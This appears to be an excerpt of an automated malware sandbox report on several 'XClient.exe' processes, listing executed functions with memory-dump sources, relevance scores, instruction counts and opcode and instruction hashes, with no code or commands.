Opcode ID: 621b4d95fe8d4704c13ccab88f285f555afdeb1a2882f29dafade1be7455bca3
Instruction ID: d63695dfd457c301faf33edf2ac574ccdb9ea1536a84ce39de0f6ec380741d95
Opcode Fuzzy Hash: 621b4d95fe8d4704c13ccab88f285f555afdeb1a2882f29dafade1be7455bca3
Instruction Fuzzy Hash: 7A31C47140C7488FD715DFA8D885AE9BBF0EF56320F0481AFD049C3552D734A409CB51

Function 00007FFB49FF3AFB Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87a32501fcfa0b957c57b8e5f1b9a25b8abc06119ac14c0ea3419f0448f7531b
Instruction ID: f85e1437fd61191e33ed47d2f5d41eb414610a67370e49fea588e2f0cb47b560
Opcode Fuzzy Hash: 87a32501fcfa0b957c57b8e5f1b9a25b8abc06119ac14c0ea3419f0448f7531b
Instruction Fuzzy Hash: 0931D5D6E0D6C38BE7566E7CC8620E93F50EF523A1B1800B7E188CA0DBDC5A78198381

Function 00007FFB49FFA46B Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fffea8ffbe67f9987d91a13c71a876ae0100f0262d1d86d31b98540c272ec39
Instruction ID: 820e56a2a08b0e83a4cc857b50a3bb751bb2a64adf78c40c3e8a5ef56ac7cae4
Opcode Fuzzy Hash: 0fffea8ffbe67f9987d91a13c71a876ae0100f0262d1d86d31b98540c272ec39
Instruction Fuzzy Hash: 9721D8B1E0D95A4FD758EF38D4996BDB6E1EF44210F54027FD40ED31DADE28A8418781

Function 00007FFB49FF5260 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2487e25e9190982eb860954028a22fd7bfb113895337205e2f8b558c8d7f8b1b
Instruction ID: 23a834943457b2bdfdb8d8450916dc51ba18e06a8a1f3fd33453911134e30d30
Opcode Fuzzy Hash: 2487e25e9190982eb860954028a22fd7bfb113895337205e2f8b558c8d7f8b1b
Instruction Fuzzy Hash: 0D21F1B2E1C94E4FEB45EFB8D8512EE7BA1FB94250F5002B6D108D31D6DE2879158380

Function 00007FFB49FFABA9 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8aa972952167b16edf7b1e517b1c54f36e42fdcd73576710baf83396c2011e1
Instruction ID: 6fedd6bac26c6c2878c7a588ee7f01f607e43d0c488f2e2aef3d142bc870a545
Opcode Fuzzy Hash: b8aa972952167b16edf7b1e517b1c54f36e42fdcd73576710baf83396c2011e1
Instruction Fuzzy Hash: F2213570A4DA8B0FE746AF74C8156F97BD5EF8A214B0441B7D489C72C6ED1CE9428351

Function 00007FFB49FFAA91 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe676a4a949fd513b070a47b623d7a85d6e8376cf683c16736d2251ac26a3eb
Instruction ID: 4f2c87d1c927b0e1df23b29e209ceae4ae86036483ebcb4ab79014ed7a3cc27a
Opcode Fuzzy Hash: ebe676a4a949fd513b070a47b623d7a85d6e8376cf683c16736d2251ac26a3eb
Instruction Fuzzy Hash: FE2181A0A1D95A8BE756BF7C98163B976D1EF59710F5406BAE408C31C7DC58A8048392

Function 00007FFB49FF2785 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc5133ecf8c4de1a533f0f733009a5c765231e5dab5d34933e792a513079c4a8
Instruction ID: 3bdf0d1113458d1675b1400f99c98d564adce285af65590996e2fa038f711cab
Opcode Fuzzy Hash: dc5133ecf8c4de1a533f0f733009a5c765231e5dab5d34933e792a513079c4a8
Instruction Fuzzy Hash: EB11E0D2E0D9570BF6967EB8D5622F86781EF98710F4405BAE44DC21CBDE0C7C824386

Function 00007FFB49FF9B69 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d40df2c2f40d33f47968743f038d52bb4cd470d6e7027ec75292ae51203e06
Instruction ID: 301b1ba6b9ae4d02d929468e4a38eeff51edd8f6f7d3c6a2b8e0c23fe979f218
Opcode Fuzzy Hash: f7d40df2c2f40d33f47968743f038d52bb4cd470d6e7027ec75292ae51203e06
Instruction Fuzzy Hash: 26115B30619D198FDB85FB3CD089AA973E1FF5870574005B6D508C3396CE35E992CB80

Function 00007FFB49FF1EB9 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1781ee2ae5f3a5ff3eee04dd090d96d23ac106a68824ad6306e2d16fa4bf1e
Instruction ID: 2317dd1e7fc671c1ddee36c20bc70532498ab6dd6030d803ac21bb081884ea0c
Opcode Fuzzy Hash: 0e1781ee2ae5f3a5ff3eee04dd090d96d23ac106a68824ad6306e2d16fa4bf1e
Instruction Fuzzy Hash: 51014BB1E1991E4ADB44EFA8C94A5FE7BE1EB58311F00012BE419D2595EE34A9008785

Function 00007FFB49FF2701 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a53c89066b6889b413843881afa11b13119a4256aa3e52e9a1b930e5026b49
Instruction ID: 97d26893d3901c9cc136508c80d9aa6cdffa6f434d81d617ea2e5e4d4e8657d2
Opcode Fuzzy Hash: 39a53c89066b6889b413843881afa11b13119a4256aa3e52e9a1b930e5026b49
Instruction Fuzzy Hash: A001ADD2E0DA970FF7967EB8C4652B96A91EF95310F1405BAD458C25CBDE1CB8418382

Function 00007FFB49FF23F1 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7193f6f5de791b95ad55b3a9f62f7d5b8466b0c69ef5a6c5bb3ecff2c69429c4
Instruction ID: 22045d61c9d6d8d588d339c7699ba881e82973eec606d651446d46270c06a93a
Opcode Fuzzy Hash: 7193f6f5de791b95ad55b3a9f62f7d5b8466b0c69ef5a6c5bb3ecff2c69429c4
Instruction Fuzzy Hash: B1F067A284E3CA0FD3039FB088215E07FB0EF43110B1E45DFE0888B0E7CA19694C8392

Function 00007FFB49FF2819 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccce6572ddafc506eafe84d075b1066771778f2b2298c5c65a9dd689259c72d1
Instruction ID: 63c0ca949931e4fbfe075a1ce7fdb5608d3edd4ec08642f7f9c68165619c9b39
Opcode Fuzzy Hash: ccce6572ddafc506eafe84d075b1066771778f2b2298c5c65a9dd689259c72d1
Instruction Fuzzy Hash: 71016D6260DA894FD7A5FF6CC865A943FE1EF5930034600EBD089CB2F6DA14AC49C381

Function 00007FFB49FF1EC0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9082da9d4a74ccace1baf52c646969d65eeb98708b125362e2196bed2e455b7
Instruction ID: b508828c61f0cf87cc3ecb99a324de3c0540674dca816e96cde985af3834c927
Opcode Fuzzy Hash: b9082da9d4a74ccace1baf52c646969d65eeb98708b125362e2196bed2e455b7
Instruction Fuzzy Hash: 08F0A9B1E1492D4BDB40FBA8C80A1FE7BF0EB58302F00013BE419E3695EE34A90087C1

Function 00007FFB49FF1A31 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd0cab269502607bfb95ddeb07c1ccac0426483fd58f3bc13b68e6906d7b004
Instruction ID: 5897a5cc3d097d508e9906f523f9281d138e97c1cac222e2cfa291640bc89db9
Opcode Fuzzy Hash: cfd0cab269502607bfb95ddeb07c1ccac0426483fd58f3bc13b68e6906d7b004
Instruction Fuzzy Hash: FA01F795A0D6824FEB96BF3898A14B17FE0DF95350B1804ABD488C60D7D914AA458342

Function 00007FFB49FF3BEB Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7670208f0174491d790e3f26cce4f265f65369169ea43b4d091524baefde024
Instruction ID: 4dbf4e6f5bf05e60f7289b647b9b4fd7ce74c9a194c358800c752ec3719c0760
Opcode Fuzzy Hash: f7670208f0174491d790e3f26cce4f265f65369169ea43b4d091524baefde024
Instruction Fuzzy Hash: F1F0C8A2B1ED870FE796FA7D8451178EBD1FF94250B4445BED04DC25CBDD18A8458340

Function 00007FFB49FF4001 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37a5c7a7c24394429f1c2abb8a56f590612e8e306ad103e7b3e96af21898ab7e
Instruction ID: 0f58f3f30b658e6b25a0bb6dd2547d9c91dc05411ce8ed736a1707469450b8ee
Opcode Fuzzy Hash: 37a5c7a7c24394429f1c2abb8a56f590612e8e306ad103e7b3e96af21898ab7e
Instruction Fuzzy Hash: F6E0688280E6C20FD322ABB4C8559F1BFA0DF9210070D84FAC089CB1D7EC0DE8468341

Function 00007FFB49FF1714 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45807906a73232f3caedeab02b1b3de25f5316e454df3b0e3986077f42f38a4d
Instruction ID: 44d806429f7f33e8dd028615f6b0f8fb14c1d7eba9a54b27a383e27918bfdca2
Opcode Fuzzy Hash: 45807906a73232f3caedeab02b1b3de25f5316e454df3b0e3986077f42f38a4d
Instruction Fuzzy Hash: 7DD05B72B0981909DA4776BC64531FCF381EF88170F501277D51DC25C3CD1DA4121249

Function 00007FFB49FFAA80 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3900506826.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 463304aa10f2a8c6fe4c949581cfd28e6fae266b24ede886827bed73a9ef0042
Instruction ID: 4a2f04094aca5f13cb7aabb3262f4470ae41d9a06642f3ff1017e5242c103e28
Opcode Fuzzy Hash: 463304aa10f2a8c6fe4c949581cfd28e6fae266b24ede886827bed73a9ef0042
Instruction Fuzzy Hash: 6AA00245C9B80F019C0839BA9F8709574506B89514FC915A1FD19801CAE88E35E906D3

Analysis Process: XClient.exePID: 1552, Parent PID: 660COMMON

Executed Functions

Function 00007FFB49FB0E99 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1552157588.00007FFB49FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f26b5031bd7c7224794d3d27a6fa09423108863c6cd2ebfa375d17ddd1bd27
Instruction ID: b74c85660d76473762f3226b6351eeaf1ce50b4a03f130425f9f88f87d987945
Opcode Fuzzy Hash: e8f26b5031bd7c7224794d3d27a6fa09423108863c6cd2ebfa375d17ddd1bd27
Instruction Fuzzy Hash: 9B4291A1B2DA4A8FE799FF78C4596B97AD2FF98300F540579E40EC32D6DD28B8018741

Function 00007FFB49FB187D Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1552157588.00007FFB49FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049a5316d35b43af30a45502823a450707349992ef5f8fc8e48bb73b8b496b0a
Instruction ID: 90691d84ae73f7cbae43af898f82cadb9c829e790e143528ca43e5f51f988eb4
Opcode Fuzzy Hash: 049a5316d35b43af30a45502823a450707349992ef5f8fc8e48bb73b8b496b0a
Instruction Fuzzy Hash: 5E511FA0A1E6CA4FD38AAF3898646757FD5EF97215B0800FEE08DC71D7CD18A806C342

Function 00007FFB49FB0C69 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1552157588.00007FFB49FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4a92ce148331d99b7b3c25bb7dfd6f9bb31a7e947d703be54dde97d4675d6d9
Instruction ID: 8e402cc3cdfc2060e0be230f0fc4ee31ffdb6befe4be440734cad78a9d391066
Opcode Fuzzy Hash: a4a92ce148331d99b7b3c25bb7dfd6f9bb31a7e947d703be54dde97d4675d6d9
Instruction Fuzzy Hash: AD5170A2A1D90B8FE795FF78D8562B967D2EF98210F480179D84DC72D6DD28B8428780

Function 00007FFB49FB04D0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1552157588.00007FFB49FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 204dc438faba1663ccbfba844b28a7af9420f61896c18052d7f514f3c8fd66cb
Instruction ID: 72bcf938341e7a5d2dfaab619b583ef8abaf0539056e818b0a346d4bab220c37
Opcode Fuzzy Hash: 204dc438faba1663ccbfba844b28a7af9420f61896c18052d7f514f3c8fd66cb
Instruction Fuzzy Hash: 2931D1A1B1C9494FE798FE3CD45A679B6C2EB98211F0405BEE44EC32D7CE28AC428345

Function 00007FFB49FB0AB9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1552157588.00007FFB49FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f16002f2b66fa2e0022d16b2cd5b4b9fca119e7d730367bb4e1a9ccfaa8a8a6
Instruction ID: df79109a08d88b174e31890b5b6b35b7ec442c28009c166728558d3c60f18670
Opcode Fuzzy Hash: 9f16002f2b66fa2e0022d16b2cd5b4b9fca119e7d730367bb4e1a9ccfaa8a8a6
Instruction Fuzzy Hash: 4931B3A1B1990A8FE755BF7C885A3B977D1EF98300F1441BAE80DC32C7DD28AD418791

Function 00007FFB49FB0981 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1552157588.00007FFB49FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a05ed27ad93315feda84382def486a07bc50bb6341aaea422a15489338f4b0e9
Instruction ID: c91d42f9b316d0a117e478a24cf32b02c773a01b8a60cc64fc73019b74646d97
Opcode Fuzzy Hash: a05ed27ad93315feda84382def486a07bc50bb6341aaea422a15489338f4b0e9
Instruction Fuzzy Hash: 523169B1A19A0A8FEB45EFB8C8656B97BA1FF98300F540579D80DD32C6CE38B841C750

Function 00007FFB49FB1A31 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1552157588.00007FFB49FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58551a0f6400cd9d98e7bb6c2ac66bd88a930fa6bae30a2cfcac332b78033281
Instruction ID: e77fb43006e40704e60bacd9cd4ff937c0f4b2df85db824258da12acb16eab86
Opcode Fuzzy Hash: 58551a0f6400cd9d98e7bb6c2ac66bd88a930fa6bae30a2cfcac332b78033281
Instruction Fuzzy Hash: 1601F785A0D692CFEB96BF3898655717FA0DFA5310B0804AAD4C9C61D7D814BA458352

Analysis Process: XClient.exePID: 2700, Parent PID: 4084COMMON

Executed Functions

Function 00007FFB49FD0E99 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1640987759.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c0369a0d2cdd81a5b50a54f23dc98091430374977b7024b2f3db6cd867dbe44
Instruction ID: c0e7a98272e1c957b674227b0878923dc2cd8052e1a74b03121bc13203c5eae8
Opcode Fuzzy Hash: 3c0369a0d2cdd81a5b50a54f23dc98091430374977b7024b2f3db6cd867dbe44
Instruction Fuzzy Hash: 6B42D4A1B2DA4A4FE799FF78C459A7A7AD2FF98700F540579E40EC32D2DD38A8418341

Function 00007FFB49FD187D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1640987759.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77a74252c1d06ba7807226614b336c4bcf8c414f426b8c08e273f7097efd56af
Instruction ID: b00a6e41bd5256a4b8cdce9cba3bd7b0fb50afeb64b999fdb540caac6d9c7b5c
Opcode Fuzzy Hash: 77a74252c1d06ba7807226614b336c4bcf8c414f426b8c08e273f7097efd56af
Instruction Fuzzy Hash: 4951DEA0A1E6CA0FD79AAB7898656757FD5DF8B215B0801FBE0CAC31D3DD186806C346

Function 00007FFB49FD0C69 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1640987759.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24d705502ee9acbc547727bc5127dc63d4bc51f48c185ebd164fb99d5ae4601e
Instruction ID: 0e6e7e50ca55f86c03ead99dfff9c6be711646511346fd97ee5f515ebf6d0c5b
Opcode Fuzzy Hash: 24d705502ee9acbc547727bc5127dc63d4bc51f48c185ebd164fb99d5ae4601e
Instruction Fuzzy Hash: DE51E461A1D94B4FE795BF78D8562BD77D2EF88310F440176D84EC3292DD28AC428784

Function 00007FFB49FD04D0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1640987759.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07adb182eb6470792b24b94640b7b98d291281bad8d186165315b5c0b1dcf470
Instruction ID: 927deaf7be74d405547bbcd339830af8f80fa44edc05a8a776d3951472029e12
Opcode Fuzzy Hash: 07adb182eb6470792b24b94640b7b98d291281bad8d186165315b5c0b1dcf470
Instruction Fuzzy Hash: 2231D361B1C9490FE79CFA3CD45A779A6C2EB98311F0405BEE44EC32D3CD28AC428345

Function 00007FFB49FD0AB9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1640987759.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb6a157e9d03bfa379f5a7692ac122d12f45fbf039172b7d021f5ab668a19acf
Instruction ID: be8cfc46aa368bdd9dabfae59890955630128e53b2b384d59d3bf6735ce1d012
Opcode Fuzzy Hash: bb6a157e9d03bfa379f5a7692ac122d12f45fbf039172b7d021f5ab668a19acf
Instruction Fuzzy Hash: 483182A1B1DA4A4FE755BFBC985A3B977D1EF98601F04427AE80DC32C3DD28AD018791

Function 00007FFB49FD0981 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1640987759.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 316f57f93c322cb3267387f76f12edcd9cae2b5e13070a49641392434b6cd205
Instruction ID: acd0f7fbb2f9886ccf06cdabd5baf0522c03d8757e4908e1b5714fc48ee0140a
Opcode Fuzzy Hash: 316f57f93c322cb3267387f76f12edcd9cae2b5e13070a49641392434b6cd205
Instruction Fuzzy Hash: EE31A0B0A19A5B8FEB45EFB8D8656BE7BA1FF88300F544675D809D3282CD38A841C740

Function 00007FFB49FD1A31 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1640987759.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef57fc25e1927caae9a5a21a6ef49e60d8fbb834369af2d1a9ceb94f99f73010
Instruction ID: 45d9b8440acf9755258e8c38e2da274cb6846d7a545f5289e13ac8fdb4f7ac03
Opcode Fuzzy Hash: ef57fc25e1927caae9a5a21a6ef49e60d8fbb834369af2d1a9ceb94f99f73010
Instruction Fuzzy Hash: 5C012684A0D6C24FEB86BF3898614B67FA0CF85714B1805AAD889C20D3DC18AA41C352

Analysis Process: XClient.exePID: 8520, Parent PID: 4084COMMON

Executed Functions

Function 00007FFB49FE0E99 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1851358296.00007FFB49FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 775edf4c2a0d7874d077ae4f17e47688f5bfd489d2a2acf2c70ac032f156956d
Instruction ID: 27d04a1b494f0ad99eff9a636e222f743decb12b9d48b4218c24cbdf43b33d20
Opcode Fuzzy Hash: 775edf4c2a0d7874d077ae4f17e47688f5bfd489d2a2acf2c70ac032f156956d
Instruction Fuzzy Hash: D342B2A0B2DA4A5FEB99FF78C465679B6D2FF98300F540579E40EC36D2DE28B8418341

Function 00007FFB49FE187D Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1851358296.00007FFB49FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08e643fbd32b3d6622fcb530d1cb9c29ce638c62fba7c37fc5d6571372b47782
Instruction ID: 9e65687285fa1137bcf8f2ac3d1d67c4df25b0055f0c1cc561f52b8e8c5557b6
Opcode Fuzzy Hash: 08e643fbd32b3d6622fcb530d1cb9c29ce638c62fba7c37fc5d6571372b47782
Instruction Fuzzy Hash: 22510FA0B1E6CA1FD78AAB7898656797FD5DF8B215B0801FBE0C9C71D3DD186806C342

Function 00007FFB49FE0C69 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1851358296.00007FFB49FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0312b501423676c9b028faee562c6e2783befc8653ff58c4b585609487a80298
Instruction ID: f051395a5863e9715677ac5677da0aecee3a5f95c795442fb3af1ce012cfa3ad
Opcode Fuzzy Hash: 0312b501423676c9b028faee562c6e2783befc8653ff58c4b585609487a80298
Instruction Fuzzy Hash: 1E5191A1E1D90B4BEB95EF7CD8562B977E2EF88210F480179D84DC36D2DD28AC428780

Function 00007FFB49FE04D0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1851358296.00007FFB49FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 372edc2bb27b2a2239c935cd403610f12267915213b0e1c31b7bd3f373a54d99
Instruction ID: c15f6deccd6ba34385e28809cff6dce9b26a753f090e28e160edcb64f7fd2c70
Opcode Fuzzy Hash: 372edc2bb27b2a2239c935cd403610f12267915213b0e1c31b7bd3f373a54d99
Instruction Fuzzy Hash: 6B31B361B1D9490FE799FA3CD45A67CB6C2EB98311F0405BEE44EC36D3DE28AC428345

Function 00007FFB49FE0AB9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1851358296.00007FFB49FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d126942becad0b0658034ce15744e2ef5e5ee4a0436f634dd8a8343956b27b8
Instruction ID: aa0a81bbdd612d8fc2c032c8cda7b03c023d7d522dc573f223c3ff2f81c972b5
Opcode Fuzzy Hash: 4d126942becad0b0658034ce15744e2ef5e5ee4a0436f634dd8a8343956b27b8
Instruction Fuzzy Hash: EC31B5A1B1D94A5FEB45BFBC985A2B977D1EF98301F04417AE80DC36C3DD28A9018792

Function 00007FFB49FE0981 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1851358296.00007FFB49FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f2c0a8489e99b734ac3d561316beb81eeb3bb4cd94bdfe6f957349caca11b5
Instruction ID: b92c2823be3c6bfa27da2bf9d9c3a53b872251a67d76bbe7b57c2fed2f88af21
Opcode Fuzzy Hash: b4f2c0a8489e99b734ac3d561316beb81eeb3bb4cd94bdfe6f957349caca11b5
Instruction Fuzzy Hash: BE314DB0A1DA1E9BEB45EFB8C8656BDBBA1FF88300F544579D409D36C6CE38A841C750

Function 00007FFB49FE1A31 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1851358296.00007FFB49FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dfd1eaf5323546dc28b0598cc5d4d1832a6258dce66eac9045d4b66317287e4
Instruction ID: d1b9ea60b23c0781d6e5b7f3165084b77bba2b5e3b0db1e6a557cc8f6ff4b93e
Opcode Fuzzy Hash: 1dfd1eaf5323546dc28b0598cc5d4d1832a6258dce66eac9045d4b66317287e4
Instruction Fuzzy Hash: 5D014781E0D6825FEB92BF3898614B57FE0DF95710B0808AAD4D8C20C3D914BA418342

Analysis Process: XClient.exePID: 8744, Parent PID: 660COMMON

Executed Functions

Function 00007FFB49FC0E99 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56c7b0e9c6141212d44372b0826fc52c1c16d699d7d247263f4793866bf7bf8a
Instruction ID: 56adb1dffdd63ef4b729adb84afaade93f51499cbd1bce121a9dba19438145c1
Opcode Fuzzy Hash: 56c7b0e9c6141212d44372b0826fc52c1c16d699d7d247263f4793866bf7bf8a
Instruction Fuzzy Hash: BB42B7A1B2DA0A4FEB99FF78C4696797BD2FF98300F544579E84DC32D2DD28A8018741

Function 00007FFB49FC187D Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64ec769d4e10bb9d1963dbf03f2373d615af0a7e39529bd71c04d3a23aecef6f
